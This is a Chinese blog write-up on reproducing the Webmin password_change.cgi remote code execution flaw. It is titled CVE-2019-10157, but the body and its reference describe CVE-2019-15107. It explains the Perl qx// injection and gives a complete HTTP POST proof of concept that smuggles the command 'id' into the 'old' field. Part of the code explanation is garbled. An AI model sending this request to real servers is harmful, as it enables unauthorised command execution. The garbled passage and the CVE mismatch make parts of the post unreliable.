cve-2019-10157复现

大体分为三个流程

什么是webmin

先了解下webmin:Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin支持绝大多数的Unix系统,这些系统除了各种版本的linux以外还包括:AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。
当其版本小于1.920时存在rec远程代码执行,由于password_change.cgi文件的密码重置功能中存在代码执行漏洞,该漏洞允许恶意第三方在没有输入验证的情况下执行恶意代码

配置好环境后我们进入端口10000这里有个小坑(webmin默认开启了ssl,要用https协议,并且忽略证书

漏洞原理

在这里插入图片描述
在这里插入图片描述

12行会判断网站是否开启了密码重置功能;14-16行代码会判断用户输入的新密码new1、new2是否规范.针对用户提交不存在的用户user或旧密码old错误的情况下会触发上面代码片段pass_error()进行错误信息打印,但是这个函数里面的参数是存在严重问题的,40行参数通过 t e x t ′ p a s s w o r d e o l d ′ 与 q x / text{'password_eold'}与qx/ textpasswordeoldqx/in{‘old’}/进行拼接, t e x t ′ p a s s w o r d e o l d ′ 为 正 常 一 个 字 符 串 " T h e c u r r e n t p a s s w o r d i s i n c o r r e c t " , 而 q x / text{'password_eold'}为正常一个字符串"The current password is incorrect",而qx/ textpasswordeold"Thecurrentpasswordisincorrect"qx/in{‘old’}/则是一个可执行系统命令的代码片段,在perl中,qx//的用法为执行系统命令

poc

整体分析漏洞利用如下:
1.开启密码重置功能【针对有些版本不需要开启密码重置功能,比如:webmin 1.890】
2、user不存在、old=任意字符|系统命令、new1new2 或者 user不存在、old=系统命令、new1new2 或者 user存在但不为特定系统用户【指webmin添加的系统用户】、old为假(任意字符|系统命令 或 系统命令)、new1==new2
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
结果如下
在这里插入图片描述
最后如果需要详细分析以及利用,可以参考如下链接:https://qftm.github.io/2020/10/25/CVE-2019-15107-Webmin-RCE-Backdoor/#toc-heading-8 大佬写的很详细

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值